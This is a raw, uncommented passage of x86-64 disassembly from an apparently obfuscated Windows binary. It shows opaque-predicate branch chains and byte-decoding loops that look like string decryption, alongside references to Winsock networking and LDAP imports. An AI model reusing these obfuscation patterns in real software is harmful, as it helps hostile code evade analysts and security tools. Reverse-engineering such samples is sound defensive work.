je 0x140081f03
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140081eda
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140081ea2
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140081e6e
lea rax, [r9 + 5]
cmp r8, rax
je 0x140081e46
lea rax, [r9 + 6]
cmp r8, rax
je 0x140081e1d
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140081de3
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400818d0
lea r8, [r9 + 3]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140082696
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140082671
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140081ac3
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140081aa4
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140081a85
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140081d80
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140081d1d
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140081cce
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140081c9e
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400818d0
lea r8, [r9 + 0x40]
lea r9, [r8 + 1]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140081c68
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140081c3f
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140081c16
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140081bdd
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140081ba6
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140081b7e
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140081b4f
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140081b1d
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140081af4
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400818d0
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x20]
jmp 0x1400818d0
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6d
add r10b, dl
jmp 0x1400818c3
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x61
add r10b, dl
jmp 0x140081850
movabs rdx, 0x15f95f28e6cab967
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 0x2f
add r10b, dl
movabs rcx, 0xaad45609c8d21821
jmp 0x1400817cf
movabs rdx, 0x1b58766bc9dfd5a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400824d7
movabs rdx, 0xc5afca58383ba566
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400817b2
movabs rdx, 0x70071e44a6977524
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400817b2
movabs rdx, 0x1a5e723114f344e2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2e
add r10b, dl
jmp 0x140082451
movabs rcx, 0xc4b5c61d834f14a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817b2
movabs rdx, 0x6f0d1a09f1aae45e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817b2
movabs rdx, 0x19646df66006b41c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400825c4
movabs rdx, 0xc3bbc1e2ce6283da
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400825f7
movabs rcx, 0x6e1315cf3cbe5398
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x28
movzx eax, byte [rbp + rbx + 0x898]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400817b2
movabs rcx, 0x17ed679e50a3daf3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x5b
mov byte [rbp + rbx + 0x898], r10b
inc rbx
jmp 0x1400817b2
movabs rcx, 0xc244bb8abeffaab1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x29
cmp r9, 9
jb 0x140081cbe
movabs rdx, 0x109a47e603b59d26
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x14]
jmp 0x1400824d7
movabs rdx, 0x6c9c0f772d5b7a6f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 9
add r10b, dl
cmp r8, 0x41
jae 0x14008232e
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x140082248
movabs rdx, 0xb8038f22534bba92
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140081ced
movabs rdx, 0x16f363639bb74a2d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3b
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x40
je 0x14008235f
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x140082109
movabs rdx, 0xb4988054da0fbfdd
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xb
jmp 0x140081d3d
movabs rdx, 0x148258d0d767e03e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x898]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400817b2
movabs rdx, 0xbed9acbd45c3affc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400825f7
movabs rdx, 0x693100a9b41f7fba
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x16
add r10b, dl
jmp 0x1400825c4
movabs rcx, 0x13885496227b4f78
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817b2
movabs rcx, 0xbddfa88290d71f36
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7a
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817b2
movabs rdx, 0x6836fc6eff32eef4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140082451
movabs rdx, 0x128e505b6d8ebeb2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400817b2
movabs rcx, 0xbce5a447dbea8e70
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x10
inc r9
dec rbx
inc rbx
jmp 0x1400817b2
movabs rdx, 0x673cf8344a465e2e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x42
add r10b, dl
jmp 0x1400824d7
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x140081fb9
movabs rdx, 0xaad45609c8d21821
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x19
jmp 0x140081da0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140081ffc
movabs rdx, 0x6d61d9af277f56a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x898]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400817b2
inc rax
cmp r8, rax
jne 0x14008202d
movabs rdx, 0xb22775c215c055ee
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400825c4
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008206e
movabs rcx, 0x5d78cde93908b672
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1e
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400820a0
movabs rdx, 0xb32179fccaace6b4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140082451
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400820d8
movabs rdx, 0x8ca26105c5116f6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400817b2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140081da3
movabs rcx, 0xb41b7e377f99777a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
jmp 0x1400824d7
jne 0x140082133
movabs rdx, 0xa412c686bb3f01f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x27
add r10b, dl
jmp 0x1400824d7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140082166
movabs rcx, 0xb592848f8efc50a3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x75
dec rbx
inc rbx
jmp 0x1400817b2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140082193
movabs rcx, 0xb3b30a320a080e5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x43
jmp 0x140082451
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400821d4
movabs rcx, 0x60e3dcb6b244b127
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x11
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817b2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140082205
movabs rdx, 0x61dde0f1673141ed
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7b
add r10b, dl
jmp 0x1400825f7
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140081d40
movabs rcx, 0xb7868d04f8d5722f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x49
movzx eax, byte [rbp + rbx + 0x898]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400817b2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008228b
movabs rdx, 0xdac3b35e4efead4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x898]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400817b2
inc rax
cmp r8, rax
jne 0x1400822bb
movabs rdx, 0xb8fd935d08384b58
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x68
add r10b, dl
jmp 0x1400825c4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400822f3
movabs rdx, 0xfa043ab4ec90c60
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400817b2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140081ced
movabs rcx, 0x6548efbee06d3ca2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6e
inc r9
dec rbx
inc rbx
jmp 0x1400817b2
movabs rdx, 0x6642f3f99559cd68
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x898]
add r10b, r11b
add r10b, dl
jmp 0x140082451
movabs rdx, 0xbbeba00d26fdfdaa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x898]
add r10b, r11b
add r10b, dl
jmp 0x1400825c4
movabs rcx, 0x6591b7d9801ad07
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x31
movzx eax, byte [rbp + rbx + 0x898]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400817b2
movabs rcx, 0x55f1742e3151c41
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x39
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817b2
movabs rcx, 0xafb66b2f5170ebff
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 7
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817b2
movabs rcx, 0x5a0dbf1bbfccbbbd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2b
movabs rcx, 0x11174a035e2be589
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x41
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x898], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817b2
movabs rdx, 0x5913bae10ae02af7
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x3f
add r10b, dl
jmp 0x1400824d7
movabs rcx, 0xadc262b9e797ca73
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x25
movabs rcx, 0xbb6e9defcc87b547
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0xf
add cl, r11b
mov byte [rbp + rbx + 0x898], cl
inc r9
dec rbx
inc rbx
jmp 0x1400817b2
movabs rcx, 0x5819b6a655f39a31
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x57
inc r9
dec rbx
inc rbx
jmp 0x1400817b2
movabs rcx, 0x571fb26ba107096b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x13
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817b2
movabs rcx, 0x17706580f62d929
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x1f
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817b2
mov r11, rdx
movabs rcx, 0xabce5a447dbea8e7
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
sub r10b, 0x51
add r10b, cl
movabs rdx, 0x66bff616efd015cb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x73
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x898], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x11944c20b8a22dec
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x74
add cl, r11b
mov byte [rbp + rbx + 0x898], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x898]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400817b2
movabs rcx, 0x7d021d5a764863
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x4b
movzx eax, byte [rbp + rbx + 0x898]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400817b2
movabs rcx, 0xc050b31555268925
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 3
jmp 0x1400817ae
movabs rcx, 0x6aa80701c38258e3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x35
jmp 0x140081795
lea rcx, [rbp + 0x1683ec4]
jmp 0x1400826da
lea rcx, [rbp + 0xba56e5]
jmp 0x1400826da
lea rcx, [rbp + 0x898]
mov dword [rbp + 0xfd0], 0x64
mov dword [rbp + 0xfd8], 1
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xfd0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xfd8]
lea r8, [rdi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xd70], 0xa9
mov byte [rbp + 0xd71], Ordinal_217
mov byte [rbp + 0xd72], 0x42
xorps xmm0, xmm0
movups xmmword [rbp + 0xd73], xmm0
movups xmmword [rbp + 0xd83], xmm0
movabs rsi, 0xc0253cdbbe797f36
movabs rdi, 0x54380b506bf81252
movabs r14, 0xc30dfe069ff76f6e
movabs r15, 0x53a317e17212157a
movabs r13, 0x9825767d82c87d04
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140083378
movzx r11d, byte [rbp + rbx + 0xd70]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008336c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400827e0
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x7a
jmp 0x140082819
je 0x1400832e3
inc rax
cmp r8, rax
je 0x14008327b
lea rax, [r9 + 3]
cmp r8, rax
je 0x140083221
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400831ea
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400831bf
nop dword [rax]
cmp r9, rbx
ja 0x140083360
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x140082852
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 2
add r10b, dl
jmp 0x140082892
lea rax, [r9 + 1]
cmp r8, rax
je 0x140083169
inc rax
cmp r8, rax
je 0x140083137
lea rax, [r9 + 3]
cmp r8, rax
je 0x140083108
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400830df
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400830a5
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140082cb8
nop
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140082c90
lea rax, [r9 + 3]
cmp r8, rax
je 0x140082c63
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140082c39
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140082c15
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140082bf1
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140082bbc
lea r8, [r9 + 5]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008333b
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140083317
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400829e4
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400829c5
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140082b2c
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140082afc
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140082ac6
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140082aa2
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140082a7e
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140082a49
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140082a24
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400829ff
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400828a0
lea r8, [r9 + 0x400]
lea r9, [r8 + 9]
jmp 0x1400828a0
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3e
add r10b, dl
jmp 0x140082892
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
jmp 0x1400827a5
lea rcx, [rbx + r13]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1c
inc r9
dec rbx
inc rbx
jmp 0x140082792
movabs rdx, 0x9790830e88e2802c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x34
jmp 0x140083042
movabs rcx, 0x96fb8f9f8efc8354
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4c
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140082792
movabs rcx, 0x16b115e8120984e8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
jmp 0x140083242
movabs rcx, 0x96669c309516867c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
jmp 0x14008329d
movabs rcx, 0x161c227918238810
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
movzx eax, byte [rbp + rbx + 0xd70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140082792
movabs rcx, 0x5561f22e5fc40c02
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xe
mov byte [rbp + rbx + 0xd70], r10b
inc rbx
jmp 0x140082792
movabs rdx, 0x54ccfebf65de0f2a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x26
add r10b, dl
cmp r8, 0x80
jae 0x140083019
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x140082f3d
movabs rdx, 0x8bed7e6302eabf4c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x14
add r10b, dl
cmp r9, 6
jb 0x140082b1c
movabs rdx, 0x8ed63f8de468af84
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x38]
jmp 0x14008318d
movabs rcx, 0x9253f427bfcc9c94
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
movzx eax, byte [rbp + rbx + 0xd70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140082792
movabs rcx, 0x91bf00b8c5e69fbc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
jmp 0x140083242
movabs rcx, 0x912a0d49cc00a2e4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x140083209
movabs rcx, 0x909519dad21aa60c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
dec rbx
inc rbx
jmp 0x140082792
movabs rcx, 0x104aa0235527a7a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
inc r9
dec rbx
inc rbx
jmp 0x140082792
movabs rdx, 0x9000266bd834a934
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6c
add r10b, dl
jmp 0x14008318d
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140082d1d
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7a
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x200
je 0x140083074
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x140082e60
movabs rdx, 0xc8df805c62f34fde
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x12
jmp 0x140082b4c
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140082d5b
movabs rcx, 0x861bfc0d3feededc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
movzx eax, byte [rbp + rbx + 0xd70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140082792
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140082d91
movabs rdx, 0x86b0ef7c39d4dbb4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140083242
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140082dd3
movabs rdx, 0x6fb6933b6c7da20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140082792
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140082e09
movabs rdx, 0x8745e2eb33bad88c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140083209
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140082e3f
movabs rdx, 0x7905ca2b0add6f8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140083045
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140082cdb
movabs rdx, 0x886fc9c92786d23c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x140083178
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140082e91
movabs rcx, 0x4929fa13dfe64e4a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 6
jmp 0x14008318d
inc rax
cmp r8, rax
jne 0x140082ecb
movabs rdx, 0xc97473cb5cd94cb6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140082792
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140082f07
movabs rdx, 0x49beed82d9cc4b22
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
